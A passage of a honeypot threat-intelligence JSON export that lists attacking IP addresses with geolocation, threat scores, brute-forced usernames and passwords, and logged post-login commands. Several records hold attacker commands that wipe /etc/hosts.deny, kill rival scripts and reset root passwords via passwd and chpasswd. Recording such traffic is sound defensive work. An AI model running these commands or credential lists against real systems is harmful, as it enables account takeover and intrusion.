        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "180.176.168.133": {
      "attack_count": 2,
      "first_seen": "2026-03-29T03:02:15.364Z",
      "last_seen": "2026-03-29T03:02:46.221Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 38841,
      "as_org": "kbro CO. Ltd.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T03:02:15.364000+00:00",
        "last_seen_30d": "2026-03-29T03:03:50.506000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "182.180.50.199": {
      "attack_count": 2,
      "first_seen": "2026-03-28T15:29:39.145Z",
      "last_seen": "2026-03-28T15:29:53.997Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 17557,
      "as_org": "Pakistan Telecommunication Company Limited",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T15:29:39.145000+00:00",
        "last_seen_30d": "2026-03-28T15:30:55.338000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.52.38.11": {
      "attack_count": 2,
      "first_seen": "2026-03-22T18:56:30.098Z",
      "last_seen": "2026-03-22T18:57:01.300Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "San Salvador de Jujuy",
      "asn": 52312,
      "as_org": "TV MUSIC HOUSE JUJUY",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T18:56:30.098000+00:00",
        "last_seen_30d": "2026-03-22T18:58:10.557000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "198.235.24.251": {
      "attack_count": 2,
      "first_seen": "2026-03-28T00:09:38.126Z",
      "last_seen": "2026-03-28T00:09:38.454Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 82.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 116,
        "days_active_30d": 29,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T20:23:20+00:00",
        "last_seen_30d": "2026-03-30T21:04:12.367000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 79,
        "Honeytrap": 34,
        "Cowrie": 2,
        "Honeyaml": 1
      }
    },
    "213.59.165.109": {
      "attack_count": 2,
      "first_seen": "2026-03-09T20:28:40.773Z",
      "last_seen": "2026-03-09T20:28:42.151Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Sevastopol",
      "asn": 59833,
      "as_org": "JSC Sevastopol Telekom",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T20:28:40.773000+00:00",
        "last_seen_30d": "2026-03-09T20:29:47.214000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "216.126.86.138": {
      "attack_count": 2,
      "first_seen": "2026-03-31T07:10:47.942Z",
      "last_seen": "2026-03-31T07:11:00.735Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 7311,
      "as_org": "Frontier Networks Inc",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T07:10:47.942000+00:00",
        "last_seen_30d": "2026-03-31T07:12:04.373000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "36.226.0.115": {
      "attack_count": 2,
      "first_seen": "2026-03-03T16:48:27.747Z",
      "last_seen": "2026-03-03T16:48:41.166Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T16:48:27.747000+00:00",
        "last_seen_30d": "2026-03-03T16:49:45.096000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.119.208.215": {
      "attack_count": 2,
      "first_seen": "2026-03-28T09:15:21.705Z",
      "last_seen": "2026-03-28T09:15:35.279Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Gessate",
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T09:15:21.705000+00:00",
        "last_seen_30d": "2026-03-28T09:16:36.998000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "48.211.205.164": {
      "attack_count": 2,
      "first_seen": "2026-03-26T17:08:40.634Z",
      "last_seen": "2026-03-26T17:09:11.127Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boydton",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T17:08:40.634000+00:00",
        "last_seen_30d": "2026-03-26T17:10:15.545000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "88.244.231.38": {
      "attack_count": 2,
      "first_seen": "2026-03-16T13:56:28.224Z",
      "last_seen": "2026-03-16T13:56:41.629Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Kartal",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T13:56:28.224000+00:00",
        "last_seen_30d": "2026-03-16T13:57:43.874000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.33.90.134": {
      "attack_count": 3520,
      "first_seen": "2026-03-22T23:25:27.304Z",
      "last_seen": "2026-03-23T00:29:36.116Z",
      "sessions": 704,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "user",
        "ftpuser",
        "admin",
        "test",
        "deployer",
        "kafka",
        "minecraft",
        "odoo",
        "oracle",
        "student",
        "alex",
        "bot",
        "jenkins",
        "ali",
        "debian",
        "steam",
        "a"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "P@ssw0rd",
        "12345678",
        "1234",
        "p@ssw0rd",
        "1",
        "12345",
        "root",
        "111",
        "1111",
        "admin",
        "1234567",
        "1qaz@WSX",
        "admin123",
        "0000",
        "11",
        "123123123",
        "123456789"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cedar Knolls",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 32.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4943,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T23:25:27.304000+00:00",
        "last_seen_30d": "2026-03-23T00:30:40.486000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3520,
        "Suricata": 1423
      }
    },
    "213.209.159.159": {
      "attack_count": 3349,
      "first_seen": "2026-03-05T10:56:24.201Z",
      "last_seen": "2026-03-31T22:51:01.789Z",
      "sessions": 419,
      "ports": [],
      "usernames_attempted": [
        "",
        "admin",
        "root",
        "admin1",
        "administrator",
        "default",
        "usuario",
        "service",
        "ubnt",
        "daemon",
        "frappe",
        "ftpuser",
        "guest",
        "moth3r",
        "squid",
        "test",
        "user",
        "username",
        "abdullah",
        "aden"
      ],
      "passwords_attempted": [
        "",
        "1234",
        "123456",
        "12345",
        "abcd1234",
        "88888888",
        "password",
        "admin",
        "admin123",
        "admin1",
        "admin@123",
        "1",
        "123",
        "12345678",
        "admin1234",
        "administrator",
        "default",
        "123456789",
        "1234567890",
        "7ujMko0admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL",
      "threat_score": 66.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 22.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4621,
        "days_active_30d": 27,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T10:56:24.201000+00:00",
        "last_seen_30d": "2026-03-31T22:52:03.493000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3349,
        "Suricata": 1272
      }
    },
    "46.253.45.10": {
      "attack_count": 1140,
      "first_seen": "2026-03-03T18:05:03.509Z",
      "last_seen": "2026-03-28T02:23:33.551Z",
      "sessions": 99,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "clawd",
        "alpha",
        "dev",
        "matin",
        "mega",
        "wei",
        "abdul",
        "anaconda",
        "api",
        "bitrix",
        "daniela",
        "dhkim",
        "hduser",
        "iot",
        "joao",
        "jupyter",
        "kafka",
        "kobo"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "1234",
        "123456",
        "password",
        "!Z@X3c4v",
        "11",
        "123456@Ab",
        "1qaz&UJM",
        "2024",
        "33033",
        "6yhn&UJM",
        "A123456!",
        "ASD123asd",
        "Aa1357911",
        "Abdul",
        "Ali@2025",
        "Alpha123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123\\nSMbHkD0GU2ql\\nSMbHkD0GU2ql\\n\"|passwd",
        "echo \"123\\nbd3cpeTw0k0T\\nbd3cpeTw0k0T\\n\"|passwd",
        "echo \"Alpha123!\\n1LfYI6RQ5Qmn\\n1LfYI6RQ5Qmn\\n\"|passwd",
        "echo \"Dev123!\\n6eQQNtWsfubA\\n6eQQNtWsfubA\\n\"|passwd",
        "echo \"Wei123!\\nAz4GMJEp85hL\\nAz4GMJEp85hL\\n\"|passwd",
        "echo \"matin1234\\nhOVq8JHFu6BB\\nhOVq8JHFu6BB\\n\"|passwd",
        "echo \"megapass\\nrDmWcZ3AhhQa\\nrDmWcZ3AhhQa\\n\"|passwd",
        "echo \"root:84ft9ZNStlhx\"|chpasswd|bash",
        "echo \"root:QZdP212nLNUs\"|chpasswd|bash",
        "echo \"root:UbOwMOedmdOJ\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Vilanova i la Geltr\u00fa",
      "asn": 206076,
      "as_org": "Ingenieria y Suministros Profesionales, S.L.",
      "threat_score": 57.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 1375,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T18:05:03.509000+00:00",
        "last_seen_30d": "2026-03-28T02:24:37.651000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1140,
        "Suricata": 235
      }
    },
    "81.211.72.167": {
      "attack_count": 1102,
      "first_seen": "2026-03-03T14:46:28.280Z",
      "last_seen": "2026-03-31T04:33:19.395Z",
      "sessions": 94,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "drcomadmin",
        "httpd",
        "jagdish",
        "java",
        "keycloak",
        "sysadm",
        "amine",
        "ax",
        "bai",
        "carlos",
        "celery",
        "clawd",
        "dan",
        "desktop",
        "efs",
        "emily",
        "erp",
        "gerrit"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "password",
        "123",
        "1234",
        "123456",
        "dietpi",
        "09N1RCa1Hs31",
        "12345",
        "12345678Aa",
        "12345678q",
        "123@123Abc",
        "123asd",
        "123jiayou",
        "123qwe321",
        "1qa@WS3ed",
        "202627",
        "A123456789.",
        "A123a123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "top",
        "uname",
        "uname -a",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nth7JuuhLhnvB\\nth7JuuhLhnvB\\n\"|passwd",
        "echo \"123456\\nefux5Cp4BNIm\\nefux5Cp4BNIm\\n\"|passwd",
        "echo \"1234\\nsc0E5OOE0TLB\\nsc0E5OOE0TLB\\n\"|passwd",
        "echo \"java123!\\nM3ChYSZhtRNn\\nM3ChYSZhtRNn\\n\"|passwd",
        "echo \"keycloak\\neWhFdWhXht7Q\\neWhFdWhXht7Q\\n\"|passwd",
        "echo \"root:2frYVc6AX1WK\"|chpasswd|bash",
        "echo \"root:FPWXA1uF8vQ0\"|chpasswd|bash",
        "echo \"root:TxASEMhkoHAp\"|chpasswd|bash",
        "echo \"root:WvkYXqGsapCR\"|chpasswd|bash",
        "echo \"root:nDtbXHaFIu2B\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Noginsk",
      "asn": 3216,
      "as_org": "PVimpelCom",
      "threat_score": 66.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1324,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T14:46:28.280000+00:00",
        "last_seen_30d": "2026-03-31T04:34:26.999000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1102,
        "Suricata": 222
      }
    },
    "62.193.106.227": {
      "attack_count": 972,
      "first_seen": "2026-03-02T03:06:55.748Z",
      "last_seen": "2026-03-26T16:02:49.379Z",
      "sessions": 87,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "administrator",
        "dls",
        "eduardo",
        "plex",
        "usuarioftp",
        "vivek",
        "webmin",
        "ww",
        "Test",
        "admin1234",
        "alfredo",
        "amin",
        "appltest",
        "builder",
        "centos7",
        "cody",
        "contab",
        "crm"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "12345678",
        "123",
        "123456",
        "password",
        "1234",
        "123456@aA",
        "1q2w3e4r",
        "1qaz2wsx!QAZ@WSX",
        "7890",
        "@qwer2025",
        "@qwer2026",
        "Abcd@12345",
        "Alfredo123!",
        "Asd123456.",
        "Asdf1234!@#$",
        "Cody123",
        "Django"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nM2Aa8fkZyaeA\\nM2Aa8fkZyaeA\\n\"|passwd",
        "echo \"123456\\nQtEd3tMpoFP7\\nQtEd3tMpoFP7\\n\"|passwd",
        "echo \"Eduardo123\\npsTWoWkTa3Sq\\npsTWoWkTa3Sq\\n\"|passwd",
        "echo \"administrator123!\\nD3b1OJGAkUfc\\nD3b1OJGAkUfc\\n\"|passwd",
        "echo \"password\\n7wQvOG2rmK6c\\n7wQvOG2rmK6c\\n\"|passwd",
        "echo \"plex1234\\nXDMmdztakAH2\\nXDMmdztakAH2\\n\"|passwd",
        "echo \"root:ydk54oZWf8VH\"|chpasswd|bash",
        "echo \"root:z1TAhsiyKq0I\"|chpasswd|bash",
        "echo \"vivek@123456\\nldEzoiLJl1UM\\nldEzoiLJl1UM\\n\"|passwd",
        "echo -e \"12345678\\nM2Aa8fkZyaeA\\nM2Aa8fkZyaeA\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Cairo",
      "asn": 36992,
      "as_org": "Etisalat Misr",
      "threat_score": 52.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 1174,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T03:06:55.748000+00:00",
        "last_seen_30d": "2026-03-26T16:03:52.027000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 972,
        "Suricata": 202
      }
    },
    "152.32.185.214": {
      "attack_count": 656,
      "first_seen": "2026-03-07T14:35:46.020Z",
      "last_seen": "2026-03-31T04:06:15.308Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "datacenter",
        "don",
        "ftpuser",
        "manel",
        "astro",
        "chrome",
        "claude",
        "dolphinscheduler",
        "emma",
        "fastuser",
        "hr",
        "jwlee",
        "liang",
        "patrick",
        "pilot",
        "talha",
        "test01",
        "wes"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345",
        "$RFVFR$",
        "%$#@!",
        "123",
        "123123",
        "1234",
        "1234qwer!!",
        "123Qwe@@@",
        "223344",
        "AA000000",
        "Aa123.com",
        "Ahgf3487@rtjhskl854hd47893@#a4nC",
        "Ali@2023",
        "Asd123456.",
        "Dolphinscheduler123",
        "Emma123",
        "Emms**@127"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123123\\nYHNX71RuAe7g\\nYHNX71RuAe7g\\n\"|passwd",
        "echo \"datacenter\\nZfQzeB93ikFB\\nZfQzeB93ikFB\\n\"|passwd",
        "echo \"password\\nI5NcWesAUj3J\\nI5NcWesAUj3J\\n\"|passwd",
        "echo \"root:ispWP8Ljugsb\"|chpasswd|bash",
        "echo \"root:p1vwVhVZcEyR\"|chpasswd|bash",
        "echo \"root:zaxQdHRELw9j\"|chpasswd|bash",
        "echo -e \"123123\\nYHNX71RuAe7g\\nYHNX71RuAe7g\"|passwd|bash",
        "echo -e \"datacenter\\nZfQzeB93ikFB\\nZfQzeB93ikFB\"|passwd|bash",
        "echo -e \"password\\nI5NcWesAUj3J\\nI5NcWesAUj3J\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 61.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 29.1,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 808,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T14:35:46.020000+00:00",
        "last_seen_30d": "2026-03-31T04:07:24.513000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 656,
        "Suricata": 152
      }
    },
    "92.207.4.157": {
      "attack_count": 553,
      "first_seen": "2026-03-06T23:38:13.288Z",
      "last_seen": "2026-03-28T09:46:49.868Z",
      "sessions": 52,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "kishore",
        "sftptest",
        "steam",
        "ax",
        "carlo",
        "dev",
        "emo",
        "frappeuser",
        "frontend",
        "ftpuser",
        "ibrahim",
        "jun",
        "kapsch",
        "mahdi",
        "maxim",
        "mcuser",
        "ww",
        "x"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345678",
        "123456",
        "!QAZxsw23edc",
        "123",
        "@qwer2024",
        "@qwer2025",
        "ABcd@1234",
        "Ff123456",
        "Jun123",
        "Kz123456.",
        "Maxim123",
        "P@$$w0rd2",
        "Qwe!@#456",
        "Server@123456",
        "Steam",
        "Ww@123456",
        "X123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
